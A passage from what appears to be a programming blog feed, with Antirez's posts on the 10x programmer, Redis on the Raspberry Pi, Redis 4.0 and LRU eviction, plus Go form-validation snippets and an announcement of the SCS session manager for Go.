validation If you have the HTML form: Wibble Wobble Wubble You can check that the submitted value for the "foo" field is one of a known set like this: set := map[string]bool{"wibble": true, "wobble": true, "wubble": true} if !set[r.Form.Get("foo")] { fmt.Printf("error: foo not match 'wibble', 'wobble' or 'wubble'") } Checkboxes (many-in-a-set) validation If you have the HTML form: Wibble Wobble Wubble To validate these, and make sure that all values sent by the form are either wibble, wobble or wubble, we need to access the underlying form data directly and range over each value: You can check that the submitted values for the "foo" field are part of a known set like this: set := map[string]bool{"wibble": true, "wobble": true, "wubble": true} for _, f := range r.Form["foo"] { if !set[f] { fmt.Printf("error: foo does not match 'wibble', 'wobble' or 'wubble'") break } } Single checkboxes Sometimes you might have a single checkbox, and you want to verify that it has been checked. A common example is an "I accept the terms" checkbox on a form. If you have the HTML form: I accept the terms You can verify that it has been checked like this: if r.Form.Get("foo") != "checked" { fmt.Println("foo must be checked") }

• The mythical 10x programmer
  Antirez · Feb 28, 2017

  A 10x programmer is, in the mythology of programming, a programmer that can do ten times the work of another normal programmer, where for normal programmer we can imagine one good at doing its work, but without the magical abilities of the 10x programmer. Actually to better characterize the “normal programmer” it is better to say that it represents the one having the average programming output, among the programmers that are professionals in this discipline. The programming community is extremely polarized about the existence or not of such a beast: who says there is no such a thing as the 10x programmer, who says it actually does not just exist, but there are even 100x programmers if you know where to look for. If you see programming as a “linear” discipline, it is clear that the 10x programmer looks like an irrational possibility. How can a runner run 10x faster than another one? Or a construction worker build 10x the things another worker can build in the same time? However programming is a design discipline, in a very special way. Even when a programmer does not participate in the actual architectural design of a program, the act of implementing it still requires a sub-design of the implementation strategy. So if the design and implementation of a program are not linear abilities, things like experience, coding abilities, knowledge, recognition of useless parts, are, in my opinion, not just linear advantages, they work together in a multiplicative way in the act of creating a program. Of course this phenomenon happens much more when a programmer can both handle the design and the implementation of a program. The more “goal oriented” is the task, the more a potential 10x programmer can exploit her/his abilities in order to reach the goal with a lot less efforts. When the task at hand is much more rigid, with specific guidelines about what tools to use and how to implement things, the ability of a 10x programmer to perform a lot of work in less time is weakened: it can still exploit “local” design possibilities to do a much better work, but cannot change in more profound ways the path used to reach the goal, that may include, possibly, even eliminating part of the specification completely from the project, so that the goal to be reached looks almost the same but the efforts to reach it are reduced by a big factor. In twenty years of working as a programmer I observed other programmers working with me, as coworkers, guided by me in order to reach a given goal, providing patches to Redis and other projects. At the same time many people told me that they believe I’m a very fast programmer. Considering I’m far from being a workaholic, I’ll also use myself as a reference of coding things fast. The following is a list of qualities that I believe make the most difference in programmers productivity. * Bare programming abilities: getting sub-tasks done One of the most obvious limits, or strengths, of a programmer is to deal with the sub-task of actually implementing part of a program: a function, an algorithm or whatever. Surprisingly the ability to use basic imperative programming constructs very efficiently in order to implement something is, in my experience, not as widespread as one may think. In a team sometimes I observed very incompetent programmers, that were not even aware of a simple sorting algorithm, to get more work done than graduated programmers that were in theory extremely competent but very poor in the practice of implementing solutions. * Experience: pattern matching By experience I mean the set of already explored solutions for a number of recurring tasks. An experienced programmer eventually knows how to deal with a variety of sub tasks. This avoids both a lot of design work, but especially, is an extremely powerful weapon against design errors, that are in turn among the biggest enemies of simplicity. * Focus: actual time VS hypothetical time The number of hours spent writing code is irrelevant without looking at the quality of the time. Lack of focus can be generated by internal and external factors. Internal factors are procrastination, lack of interest in the project at hand (you can’t be good doing things you do not love), lack of exercise / well-being, poor or little sleeping. External factors are frequent meetings, work environments without actual offices, coworkers interrupting often and so forth. It seems natural that trying to improve focus and to reduce interruptions is going to have a non marginal effect on the programming productivity. Sometimes in order to gain focus, extreme measures are needed. For instance I only read emails from time to time and do not reply to most of them. * Design sacrifice: killing 5% to get 90% Often complexity is generated when there is no willingness to recognized that a non fundamental goal of a project is accounting for a very large amount of design complexity, or is making another more important goal very hard to reach, because there is a design tension among a fundamental feature and a non fundamental one. It is very important for a designer to recognize all the parts of a design that are not easy wins, that is, there is no proportionality between the effort and the advantages. A project that is executed in order to maximize the output, is going to focus exactly on the aspects that matter and that can be implemented in a reasonable amount of time. For example when designing Disque, a message broker, at some point I realized that by providing just best-effort ordering for the messages, all the other aspects of the project could be substantially improved: availability, query language and clients interaction, simplicity and performances. * Simplicity This is an obvious point that means all and nothing. In order to understand what simplicity is, it is worth to check how complexity is often generated. I believe that the two main drivers of complexity are the unwillingness to perform design sacrifices, and the accumulation of errors in the design activity. If you think at the design process, each time a wrong path is pursued, we get more and more far from the optimal solution. An initial design error, in the wrong hands, will not generate a re-design of the same system, but will lead to the design of another complex solution in order to cope with the initial error. The project, thus, becomes more complex and less efficient at every wrong step. The way simplicity can be achieved is to reason in terms of small metal “proof of concepts”, so that a large amount of simple designs can be explored in the mind of the programmer, to start working from something that looks the most viable and direct solution. Later, experience and personal design abilities will allow to improve the design and find sensible solutions for the sub-designs that need to be resolved. However each time a complex solution is needed, it’s important to reason for a long time about how the complexity can be avoided, and only continue in that direction if no better possibility is found even considering completely different alternatives. * Perfectionism, or how to kill your productivity and bias your designs Perfectionism comes in two variants: an engineering culture of reaching the best possible measurable performance in a program, and as a personality trait. In both the instances, I see this as one of the biggest barriers for a programmer to deliver things fast. Perfectionism and fear of external judice insert a designing bias that will result in poor choices in order to refine a design only according to psychological or trivially measurable parameters, where things like robustness, simplicity, ability to deliver in time, are often never accounted for. * Knowledge: some theory is going to help When dealing with complex tasks, knowledge about data structures, fundamental limits of computation, non trivial algorithms that are very suitable to model certain tasks, are going to have an impact in the ability to find a suitable design. To be a super expert of everything is not required, but to be at least aware of a multitude of potential solutions for a problem certainly is. For instance applying design sacrifice (accept some error percentage) and being aware of probabilistic set cardinality estimators, can be combined together in order to avoid a complex, slow and memory inefficient solution in order to count unique items in a stream. * Low level: understanding the machine A number of issues in programs, even when using high level languages, arise from the misunderstanding of how the computer is going to perform a given task. This may even lead to the need of re-designing and re-implementing again from scratch a project because there is a fundamental problem in the tools or algorithms used. Good competence of C, the understanding of how CPUs work and clear ideas about how the kernel operates and how system calls are implemented, can save from bad late-stage surprises. * Debugging skills It is very easy to spend an enormous amount of work in order to find bugs. The sum of being good at gaining state about a bug, incrementally, in order to fix it with a rational set of steps, and the attitude of writing simple code that is unlikely to contain too many bugs, can have a great effect on the programmer efficiency. It is no surprising to me to see how the above qualities of a programmer can have a 10x impact on the output. Combined they allow for good implementations of designs that start from a viable model and can be several times simpler than alternatives. There is a way to stress simplicity that I like to call “opportunistic programming”. Basically at every development step, the set of features to implement is chosen in order to have the maximum impact on the user base of the program, with the minimum requirement of efforts. Comments

• Redis on the Raspberry Pi: adventures in unaligned lands
  Antirez · Feb 24, 2017

  After 10 million of units sold, and practically an endless set of different applications and auxiliary devices, like sensors and displays, I think it’s deserved to say that the Raspberry Pi is not just a success, it also became one of the preferred platforms for programmers to experiment in the embedded space. Probably with things like the Pi zero, it is also becoming the platform in order to create hardware products, without incurring all the risks and costs of designing, building, and writing software for vertical devices. Well, I love to think that also Redis is a platform that programmers like to use when to hack, experiment, build new things. Moreover devices that can be used for embedded / IoT applications, often have the problem of temporarily or permanently storing data, for example received by sensors, on the device, to perform on-device computations or to send them to remote servers. Redis is adding a “Stream” data type that is specifically suited for streams of data and time series storage, at this point the specification is near complete and work to implement it will start in the next weeks. Redis existing data structures, and the new streams, together with the small memory footprint, the decent performances it can provide even while running on small hardware (and resulting low energy usage), looked like a good match for Raspberry Pi potential applications, and in general for small ARM devices. The missing piece was the obvious one: to run well on the Pi. One of the many cool things about the Pi is that its development environment does not look like the embedded development environments of a few years ago… It just runs Linux, with all the Debian-alike tooling you expect to find. Basically adapting Redis to work on the Pi was not a huge task. The most fundamental mismatch a Linux system program and the Pi could have, is a performance / footprint mismatch, but this a non issue because of the Redis design itself: an empty instance consumes a total of 1MB of Resident Set Size, serves queries from memory, so it is fast enough and does not stress the flash disk too much, and when persistence is needed, it uses AOF which has an append-only write pattern. However the Pi runs an ARM processor, and this requires some care when dealing with unaligned accesses. In this blog post, while showing you what I did to make Redis and Raspberry Pi more happy together, I’ll try to provide an overview about dealing with architectures that do not handle unaligned accesses transparently as the x86 platform does. A few things about ARM processors — The most interesting thing about porting Redis to ARM is that ARM processors are, or actually were… well, not big fans of unaligned memory accesses. If you live your life in high level programming, you may not know it, but many processor architectures were historically not able to load or store memory words in addresses not multiple of the word size. So if the word size is 4 bytes (in the case of a 32 bit processor), you may load or store a word at address 0x4, 0x8, and so forth, but not at address 0x7. The result is an exception sometimes, or an odd behavior some other time, depending on the CPU and its exact configuration. Then the x86 processors family ruled the world and everybody kinda forgot about this issue (if not for dealing with SEE instructions and alike, but now even those instructions have unaligned variants). Oh well, initially forgetting about the issue is not really what happened. Even if x86 processors could deal with unaligned accesses without raising an exception, doing so was a non trivial performance penalty: partial reads/writes at word boundary required to do the double of the work. But then recent x86 processors have optimizations that make unaligned accesses as fast as aligned accesses most of the times, so basically nowadays for x86 this is really Not An Issue. ARM was, up to ARM v5, one of that platforms where unaligned accesses caused strange results, and very unexpected ones, actually. From the ARM official documentation: “if the address is not a multiple of four, the LDR instruction returns a rotated result rather than performing a true unaligned word load. Generally, this rotation is not what the programmer expects.” Oh well *definitely* not what the programmer expects. However even the original Raspberry Pi had an ARM v6 processor. The v6, while incurring into performance penalty, is able to deal with word-sized unaligned accesses. However instructions that deal with multiple words will raise an exception, terminating the program with a signal bus, or asking for help by the kernel (as we’ll see later in more details). This means that Redis would not crash like crap immediately when running on the Pi, because most of the unaligned accesses performed by Redis were actually word-sized. However, from time to time, the compiler generated code to speedup the computation using multiple load/store instructions, or the Redis code itself tried to load/store 64 bit values from unaligned accesses. This normally would result into a crash, in theory, however Linux helps a bit in this regard. Instead of crashing, ask the kernel! — The Linux kernel, when running on an ARM processor, is able to help user processes to work as expected even when they execute operations on unaligned addresses that are normally not supported by the CPU. The way this is performed is by registering an handler inside the kernel for such exceptions: the kernel will check the operation that failed, and will simulate it in a function, so that the final result is like if the processor executed it, and then will resume the “offending” process that will continue to run. If you are into low level programming, this Linux kernel file is worth checking: http://lxr.free-electrons.com/source/arch/arm/mm/alignment.c The actual behavior of the kernel when an unaligned access exception is raised by the CPU, is controlled by the file /proc/cpu/alignment: $ cat /proc/cpu/alignment User: 0 System: 12590 (ip6_datagram_recv_common_ctl+0xc8/0xd4 [ipv6]) Skipped: 0 Half: 0 Word: 0 DWord: 0 Multi: 12590 User faults: 2 (fixup) As you can see there are separated counters for all the unaligned accesses that were corrected by the kernel, both in user space and in kernel space. In the above case 12590 accesses where corrected in kernel space. No user land process was corrected. Note that the “User faults” line shows the kernel configuration about what to do when an user space process performs an unaligned access that the CPU cannot handle: it can fix the problem, send a SIGBUS, or log the even in the kernel logs. This is controlled by single bits of an integer that can be written into /proc/cpu/alignment, so for instance in order to log (other than fix) user space unaligned accesses one can use “echo 3 > /proc/cpu/alignment” (bit 1 enables logging, bit 2 enables fixing). My feeling is that the Linux kernel enabled such a feature not much since the kernel developers were concerned with the poor user space programmers that were not able to deal with unaligned memory accesses, but because the kernel itself does not always performs unaligned accesses as you can see from the “System” counter. So this was the simplest way to fix the Linux port on ARM instead of checking every single place of the code. Given that Linux handles this transparently, one could be tempted to say, oh well… maybe there is nothing to fix here, Redis will just work as expected as long as we set /proc/cpu/alignment to fix things transparently. Actually this is not the case for two reasons: 1. When an unaligned access is performed and fixed by the kernel, this results in *very* slow execution. The speed penalty is much larger than, for example, the second memory access needed when doing unaligned work-sized accesses. While this only happens with multiple loads and stores instructions, it is still a shame that in certain conditions Redis would be much slower than needed. 2. The Linux kernel implementation of ARM misaligned accesses is not perfect. There is code that GCC will emit that contains instructions that are not handled well by Linux 4.4.34. A trivial example is this one: $ #include int main(int argc, char **argv) { int count = 1000; char *buf = malloc(count*sizeof(double)); double sum = 0; double *l = (double*) (buf+1); while(count--) { l++; sum += *l; } return 0; } $ gcc foo.c -g -ggdb $ ./a.out Bus error Even if the kernel configuration in my Pi is set to deal with unaligned accesses and fix them, still the program received a SIGBUS! Let’s see where this happens with GDB: $ gdb ./a.out (gdb) run Program received signal SIGBUS, Bus error. 0x00010484 in main (argc=1, argv=0xbefff3b4) at foo.c:10 10 sum += *l; Well it’s in the inner loop when our non aligned double pointer is deferenced, as expected. But we may want to check further what’s happening, checking the ARM instruction that generated the exception: (gdb) x/i $pc => 0x10484 : vldr d6, [r11, #-20] ; 0xffffffec The VLDR instruction is used in order to load an extension register from a memory location, and is used for floating point math. For some reason the Linux kernel implementation of unaligned accesses correction, is not able to handle this instruction (I guess the implementation is just not complete as it should). The “dmesg” command will indeed show that the instruction was not recognized by the function that fixes the unaligned accesses: [317778.925569] Alignment trap: not handling instruction ed937b00 at [] [317778.925610] Unhandled fault: alignment exception (0x011) at 0x01cb8011 So, if the default C compiler in the Pi could emit code that the default Linux kernel could not handle, I really wanted Redis to be able to run without issues even when the kernel is configured for not fixing the unaligned accesses. This means that Redis on ARM should only perform word-sized unaligned accesses, the only ones that the CPU can handle transparently. Fixing the bugs — Given that ARM deals well with most unaligned memory accesses, Redis appeared to be already working on the Pi, mostly. Especially since by default the kernel is configured to fix many of the unaligned accesses that are not supported. Even with the alignment fixing disabled, it still superficially worked. However running the tests revealed different crashes, especially in obvious areas like bit operations and hash functions. The first thing now Redis does is to define USE_ALIGNED_ACCESS when compiled into architectures that don’t support unaligned accesses. Then it was just a matter of fixing the code in order to avoid the fast paths where unaligned accesses where performed, or replacing the pointers deferencing with memcpy() operations. You may think that using memcpy() is ways slower than deferencing a pointer, but things are much better than that: for a fixed size mecpy call like memcpy(src,dst,sizeof(uint64_t)) the compiler is smart enough to avoid calling the function. It will actually generate the fastest set of instructions that will do the trick even if the address is not aligned. For instance, in x86 processors, this function call will actually be translated into a single MOV instruction. After those fixes Redis and my two Raspberries, one original model B, and a much faster Pi 3, started to be great friends: all tests passing, but one about generating call traces in crash reports (but I’m going to fix this one as well), and from time to time a few failures in the integration tests due to the slowness of the Pi to setup masters and slaves setups. However at this point my appetite for correctness was stimulated, I wanted some more alignment problems. Let’s go the extra mile: SPARC — While I was working at fixing Redis for ARM, there was a parallel issue open in the Github repository about making Redis run well on Solaris/SPARC. Now SPARC is not as gentle as ARM, it is not able to deal with *any* unaligned access. I remembered this very well as during my first years of C programming I bought a very old SPARC station 4: big endian and not able to deal with unaligned accesses of any kind at the same time, it gave me some perspective on porting programs around. It’s a shame that after a few months of having it I spilled vodka on it, frying the motherboard forever, but I still have it in my parent’s house. Solaris/SPARC deals with unaligned accesses are more complex than Linux/ARM: 32 bit unaligned accesses are always fixed by the kernel, while 64 bit unaligned accesses are handled by registering an user space trap, according to the compilation flags. The Sun Studio C compiler has specific options to control what happens in a very precise way, and even tools in order to easily detect and fix such unaligned accesses. If non-word sized unaligned accesses were rare in Redis, you could expect word-sized unaligned accesses to be everywhere. But actually it was not the case, since up to Redis 3.0 I used to test and fix Redis with an OpenBSD/SPARC box from time to time. So the biggest problem was the function to hash keys. The original Redis string library, called SDS, had a fixed sized header, so accesses were always aligned while hashing keys. Starting with Redis 3.2 the SDS header is variable in size, so this is no longer the case. Moreover there were other new unaligned accesses here and there accumulated since the last time I tested Redis on SPARC a few years ago. To fix the hash function I also switched to SipHash, so this is also a security fix for HashDoS attacks. However it’s worth to note that I’m currently using a SipHash variant with reduced number of C and D rounds: SipHash1-2. This was made in order to avoid an otherwise non trivial speed regression, however there should not be practical attacks against SipHash1-2 AFAIK, and anyway is for sure more secure than what we previously used, Murmurhash2, that is so weak in that regard that’s possible to generate seed-independent collisions. The SipHash implementation I’m using is the reference one, modified a bit in order to simplify the code and to have a case insensitive variant. It is designed in order to deal with unaligned accesses, and to be endian agnostic. The first time I see a well written reference implementation of an hash function perhaps… The other SPARC fixes were greatly simplified by a kind Redis user that provided me with a Solaris/SPARC access. In the process of fixing the unaligned accesses I also tried to fix building and testing Redis in Solaris/SPARC, so this was a good portability improvement exercise in general. After this task was completed, Redis is finally “alignment safe” at least for the stand alone code. There is more work to do in the Cluster area. Performances of Redis in the Raspberry Pi — Ok, back to the Pi :-) How fast is Redis running on such small hardware? Well, as there are more than one Pi model out there, there are multiple answers for this question. Redis on the Pi 3 is surprisingly fast. My benchmarks are performed via the loopback interface because Redis on the Pi will be mostly intended for local programs to write data to it, or to use it as a message bus for both IPC and for cloud-edge exchange of information (for cloud here I mean the central servers of an appliance, and for edge the local installation of an appliance). However it also runs well when accessed via the ethernet port. On the Pi3, I get this numbers: Test 1 : 5 millions writes with 1 million keys (even distribution among keys). No persistence, no pipelining. 28000 ops/sec. Test 2: Like test 1 but with pipelining using groups of 8 operations: 80000 ops/sec. Test 3: Like test 1 but with AOF enabled, fsync 1 sec: 23000 ops/sec Test 4: Like test 3, but with an AOF rewrite in progress: 21000 ops/sec Basically Redis on the Pi 3 looks fast enough for any use case. Consider that Redis is mostly single threaded, or double-threaded when it rewrites the AOF log, since there is another background process, so you can expect the above performances while, at the same time, other processes are running on the Pi. Bottom line is: the numbers does not mean we are saturating the Pi. With the original model B things are *quite* different, those numbers are much lower, like 2000 ops/sec non pipelined, and 15000 ops/sec when pipelining is used. This huge gap looks to hint at very inefficient handling of syscalls like write and read that require a context switch. However they are still good enough numbers for most applications, since Redis is not going to serve external clients most of the times, and because when there is high-load data logging needed to be performed, pipelining is often simple to implement. However right now I don’t have one of the most interesting (other than the Pi 3) devices to test, which is the Pi zero. It will be interesting to see the numbers that it can deliver. They should be better than the Model B I’m using. Pi continuity — One thing I love about Redis running well on the Pi is that I’m excited about Raspberry to become, with things like the Pi zero, potentially the to-go platform for IoT products. I mean even finished products intended for the final user. I can’t stop thinking what I would like to do in the hardware space if I had time: sensors, displays, the GPIO port, and the very low price make it possible to build an hardware startup in a much simpler way compared to the past, and I love the idea that hackers around the world could now ship smart appliances of different kinds. I want to be somewhat part of this, even if marginally, providing a good Redis experience in the Pi (and in the future with Android and other ARM based systems). Redis has a good combination of low resource needs, append-only operations and data model suitable for both logging and in-device analysis of the data, in order to take actions based on historical events, so I really believe it can help in this space. So starting from now the Raspberry Pi is for me one of the main target platforms for Redis, like the Linux servers originally were set as the Redis “standard”. In the next weeks I’ll continue with the fixes, that will all go into Redis 4.0. At the same time I’ll write a new section in the Redis official site with all the informations about Redis and the Pi: benchmarks in the different devices, good practices, and so forth. Maybe in the future I’ll be also able to release proof of concept “agents” in order to use Redis as a data bus between the IoT devices and the cloud, allowing the device to just log data inside Redis, with the agent taking care of moving the data on the cloud when the link with the outside world works, and at the same time fetching commands for the device to execute and sending back replies. This will be even more interesting when the stream data structure will be available in Redis 4.2. I would love hearing about applications where you see Redis going to help in embedded setups, and what I could do in order to make it better in this regard. Comments

• The first release candidate of Redis 4.0 is out
  Antirez · Dec 02, 2016

  It’s not yet stable but it’s soon to become, and comes with a long list of things that will make Redis more useful for we users: finally Redis 4.0 Release Candidate 1 is here, and is bold enough to call itself 4.0 instead of 3.4. For me semantic versioning is not a thing, what I like instead is try to communicate, using version numbers and jumps, what’s up with the new version, and in this specific case 4.0 means “this is the shit”. It’s just that Redis 4.0 has a lot of things that Redis should have had since ages, in a different world where one developer can, like Ken The Warrior, duplicate itself in ten copies and start to code. But it does not matter how hard I try to learn about new vim shortcuts, still the duplicate-me thing is not in my chords. But well, finally with 4.0 we got a lot of these stuff done… and here is the list of the big ones, with a few details and pointers to learn more. 1. Modules As you probably already know Redis 4.0 got a modules system, and one that allows to do pretty fancy stuff like implementing new data types that are RDB/AOF persisted, create non blocking commands and so forth. The deal here is that all this is done with an higher level abstract API completely separated from the core, so the modules you write are going to work with new releases of Redis. Using modules I wrote Neural Redis, a neural network data type that can be trained inside Redis itself, and many people are doing very interesting stuff: there are new rate limiting commands (implemented in Rust!), Graph DBs on top of Redis, secondary indexes, time series modules, full text indexing, and a number of other stuff, and my feeling is that’s just the start. This does not just allow Redis to grow and cover new things, while taking the core, if not minimal, just with things that are useful to most users at least, pretty generic things that many people need. But also has the potential to avoid for many tasks the problem of rewriting a networked server, even if the goal is to create something not related to Redis, databases, caching, or whatever Redis is. That is, you can just write a module to use the Redis “infrastructure”: the protocol, the clients people already wrote and so forth. So I’ve a good feeling about it, no pressure for the core, freedom for the users that want to do more crazy stuff. 2. Replication version 2 So, that’s going to be very useful in production from the POV of operations. At some point in the past we introduced what is known as “PSYNC”. It was a new master-slave protocol that allowed the master and the salve to continue from where they were, if the connection between the two broke. Before that, every single connection break in the replication link between master and slave would result into a full synchronization: generate an RDB file in the master, transfer it, load it in the slave, ok you know how this works. So PSYNC was like a real improvement. But not enough… PSYNC was not good enough when there was a failover. If a slave is promoted to master, the slaves that replicated with the old master were not able to connect to the new promoted slave and PSYNC with it: a full resynchronization was needed. This is not great, and is not good for Redis Cluster as well. However fixing this required to do changes to the replication protocol, because I really wanted to make sure that partial resyncs where going to work after any possible topology change, as long as there was a common replication history among the instances. So the first change needed was about how “chained replication” works, that is, slaves of slaves of slaves … How do they work? Like, A is the master, and we have something like that: A —> B —> C —> D So A is the master of B but B is the master of C and so forth. Before Redis 4.0 what was happening is that B received the replication protocol from A. The replication protocol is, normally, a stream of write commands. B acted as a master for C just doing, internally, what A was doing: at every write it was generating again a suitable replication protocol to pass to C, and so forth. Now instead B just proxies, verbatim, what it receives from A to C, and C will do the same for D: given that all the sub slaves now receive an identical stream of bytes, they can “tag” a given history, and use the tag and the offset to always try to continue if they have something in common. The master itself, when it is turned into a slave, is now able to PSYNC with the new master. And slaves can usually PSYNC with the master even after a “clean” restart, using the info inside the RDB file, that now stores the replication tags and offsets. Details are more complex than that, in order to make it working well, but well the deal here is, don’t be annoyed by full resynchronizations if possible. And PSYNC v2 does this well apparently. Please try it and let me know if you are interested in this feature. 3. Cache eviction improvements Ok about that I wrote a full article months ago: http://antirez.com/news/109. So going to give you just the TLDR. We now have LFU (Last Frequently Used), and all the other policies switched to a more robust, fast and precise implementation. So big news for caching use cases. Read the full article if you care about this stuff, there are tons of infos. 4. Non blocking DEL and FLUSHALL/FLUSHDB. Code name “lazy freeing of objects”, but it’s a lame name for a neat feature. There is a new command called UNLINK that just deletes a key reference in the database, and does the actual clean up of the allocations in a separated thread, so if you use UNLINK instead of DEL against a huge key the server will not block. And even better with the ASYNC options of FLUSHALL and FLUSHDB you can do that for whole DBs or for all the data inside the instance, if you want. Combined with the new SWAPDB command, that swaps two Redis databases content, FLUSHDB ASYNC can be quite interesting. Once you, for instance, populated DB 1 with the new version of the data, you can SWAPDB 0 1 and FLUSHDB ASYNC the database with the old data, and create yet a newer version and reiterate. This is only possible now because flushing a whole DB is no longer blocking. There are reasons why UNLINK is not the default for DEL. I know things… I can’t talk (**). 5. Mixed RDB-AOF persistence format. Optionally, if you enable it, now AOF rewrites are performed by prefixing the AOF file with an RDB file, which is both faster to generate and to load. This is going to be very useful in certain environments, but makes the AOF file a less transparent file, so it’s an optional thing for now. This feature was talked for ages and finally is “in”. 6. The new MEMORY command. I love it, as much as I loved LATENCY DOCTOR that once introduced cut the percentage of “My Redis is slow” complains in the mailing list to a minor fraction. Now we have it for the memory issues as well. 127.0.0.1:6379> MEMORY DOCTOR Hi Sam, this instance is empty or is using very little memory, my issues detector can't be used in these conditions. Please, leave for your mission on Earth and fill it with some data. The new Sam and I will be back to our programming as soon as I finished rebooting. Movie rights owners will probably sue me for taking inspirations of sci-fi dialogues but that’s fine. Bring oranges for me when I’ll be in jail. MEMORY does a lot more than that. 127.0.0.1:6379> MEMORY HELP 1) "MEMORY USAGE [SAMPLES ] - Estimate memory usage of key" 2) "MEMORY STATS - Show memory usage details" 3) "MEMORY PURGE - Ask the allocator to release memory" 4) "MEMORY MALLOC-STATS - Show allocator internal stats" The memory usage reporting of the USAGE subcommand is going to be very useful, but also the in depth informations provided by “STATS”. For now all this is totally not documented, so have fun figuring out what the heck it does. 7. Redis Cluster is now NAT / Docker compatible. But this is actually a bad news too, because the binary protocol changed in the “Cluster bus” thing nodes use to communicate, so to upgrade to 4.0 you need a mass reboot of Redis Cluster. I’m sorry I was tricked into this NAT / Docker fixes, pardon me. And I tried to make it backward compatible but there was no way to obtain this easily, or even non easily, without doing totally awkward stuff. The feature is explained in the example redis.conf file. You can’t see how I’m a bit less excited about this feature compared to the other ones, don’t you? Well… that’s it I guess, those are the major things. If you want also read the release notes here: https://raw.githubusercontent.com/antirez/redis/4.0/00-RELEASENOTES ETA to get it stable is as usually unknown: I plan to release a new RC every 2-4 weeks more or less. As bugs slow down significantly both from the point of view of severity and frequency of reporting, it will be Redis 4.0-final time. However there is a lot of doc to update as well, so I’ll have plenty of things to do. Many thanks to all the people that contributed to this release: a lot did in significant ways. In the release note above there is the list of all the commits that you can scan in order to see the names of the committers. Thanks to the Redis community and Redis Labs for making all this possible, but especially thanks to all the developers that use Redis and apply it well in every day problems to get shit done, because this is the whole point, other than having fun while coding. P.s. faster way to grab the new code is to fetch the '4.0' branch from Github. Repository is as usually antirez/redis. ** Check https://news.ycombinator.com/item?id=13091370 for more info about UNLINK not being the default behavior for DEL. Comments

• SCS: A session manager for Go web applications 1.7+
  Alex Edwards · Aug 30, 2016

  I’ve just released SCS, a session management package for Go 1.7+. Its design leverages Go’s new context package to automatically load and save session data via middleware. Importantly, it also provides the security features that you need when using server-side session stores (like straightforward session token regeneration) and supports both absolute and inactivity timeouts. The session data is safe for concurrent use. A simple example SCS is broken up into small single-purpose packages for ease of use. You should install the session package and your choice of session storage engine from the following table: Package session Provides session management middleware and helpers for manipulating session data engine/memstore In-memory storage engine engine/cookiestore Encrypted-cookie based storage engine engine/pgstore PostgreSQL based storage eninge engine/mysqlstore MySQL based storage engine engine/redisstore Redis based storage engine For example: $ go get github.com/alexedwards/scs/session $ go get github.com/alexedwards/scs/engine/memstore Usage is then simple: File: main.go package main import ( "io" "net/http" "github.com/alexedwards/scs/engine/memstore" "github.com/alexedwards/scs/session" ) func main() { // Create the session manager middleware, passing in a new storage // engine instance as the first parameter. sessionManager := session.Manage(memstore.New(0)) // Set up your HTTP handlers in the normal way. mux := http.NewServeMux() mux.HandleFunc("/put", putHandler) mux.HandleFunc("/get", getHandler) // Wrap your handlers with the session manager middleware. http.ListenAndServe(":4000", sessionManager(mux)) } func putHandler(w http.ResponseWriter, r *http.Request) { // Use the PutString helper to add a new key and associated string value // to the session data. Helpers for other types are included. err := session.PutString(r, "message", "Hello from a session!") if err != nil { http.Error(w, err.Error(), 500) } } func getHandler(w http.ResponseWriter, r *http.Request) { // Use the GetString helper to retrieve the value associated with the // "message" key. msg, err := session.GetString(r, "message") if err != nil { http.Error(w, err.Error(), 500) return } io.WriteString(w, msg) } You should be able to verify that the session data is being across requests with curl: $ curl -i -c cookies localhost:4000/put HTTP/1.1 200 OK Set-Cookie: scs.session.token=uts3FRcCMOIXpyx5uZx28Y54uUFRHxgtYhbgD4epeI4; Path=/; HttpOnly Date: Tue, 30 Aug 2016 17:37:12 GMT Content-Length: 0 Content-Type: text/plain; charset=utf-8 $ curl -i -b cookies localhost:4000/get HTTP/1.1 200 OK Date: Tue, 30 Aug 2016 17:37:21 GMT Content-Length: 21 Content-Type: text/plain; charset=utf-8 Hello from a session! The complete godocs are here. I’d love to hear any feedback – either drop me an email or open an issue on Github.

• Random notes on improving the Redis LRU algorithm
  Antirez · Jul 29, 2016

  Redis is often used for caching, in a setup where a fixed maximum memory to use is specified. When new data arrives, we need to make space by removing old data. The efficiency of Redis as a cache is related to how good decisions it makes about what data to evict: deleting data that is going to be needed soon is a poor strategy, while deleting data that is unlikely to be requested again is a good one. In other terms every cache has an hits/misses ratio, which is, in qualitative terms, just the percentage of read queries that the cache is able to serve. Accesses to the keys of a cache are not distributed evenly among the data set in most workloads. Often a small percentage of keys get a very large percentage of all the accesses. Moreover the access pattern often changes over time, which means that as time passes certain keys that were very requested may no longer be accessed often, and conversely, keys that once were not popular may turn into the most accessed keys. So in general what a cache should try to do is to retain the keys that have the highest probability of being accessed in the future. From the point of view of an eviction policy (the policy used to make space to allow new data to enter) this translates into the contrary: the key with the least probability of being accessed in the future should be removed from the data set. There is only one problem: Redis and other caches are not able to predict the future. The LRU algorithm === While caches can’t predict the future, they can reason in the following way: keys that are likely to be requested again are keys that were recently requested often. Since usually access patterns don’t change very suddenly, this is an effective strategy. However the notion of “recently requested often” is more insidious that it may look at a first glance (we’ll return shortly on this). So this concept is simplified into an algorithm that is called LRU, which instead just tracks the *last time* a key was requested. Keys that are accessed with an higher frequency have a greater probability of being idle (not accessed) for a shorter time compared to keys that are rarely accessed. For instance this is a representation of four different keys accesses over time. Each “~” character is one second, while the “|” line at the end is the current instant. ~~~~~A~~~~~A~~~~~A~~~~A~~~~~A~~~~~A~~| ~~B~~B~~B~~B~~B~~B~~B~~B~~B~~B~~B~~B~| ~~~~~~~~~~C~~~~~~~~~C~~~~~~~~~C~~~~~~| ~~~~~D~~~~~~~~~~D~~~~~~~~~D~~~~~~~~~D| Key A is accessed one time every 5 seconds, key B once every 2 seconds and key C and D are both accessed every 10 seconds. Given the high frequency of accesses of key B, it has among the lowest idle times, which means its last access time is the second most recent among all the four keys. Similarly A and C idle time of 2 and 6 seconds well reflect the access frequency of both those keys. However as you can see this trick does not always work: key D is accessed every 10 seconds, however it has the most recent access time of all the keys. Still, in the long run, this algorithm works well enough. Usually keys with a greater access frequency have a smaller idle time. The LRU algorithm evicts the Least Recently Used key, which means the one with the greatest idle time. It is simple to implement because all we need to do is to track the last time a given key was accessed, or sometimes this is not even needed: we may just have all the objects we want to evict linked in a linked list. When an object is accessed we move it to the top of the list. When we want to evict objects, we evict from the tail of the list. Tada! Win. LRU in Redis: the genesis === Initially Redis had no support for LRU eviction. It was added later, when memory efficiency was a big concern. By modifying a bit the Redis Object structure I was able to make 24 bits of space. There was no room for linking the objects in a linked list (fat pointers!), moreover the implementation needed to be efficient, since the server performance should not drop too much because of the selection of the key to evict. The 24 bits in the object are enough to 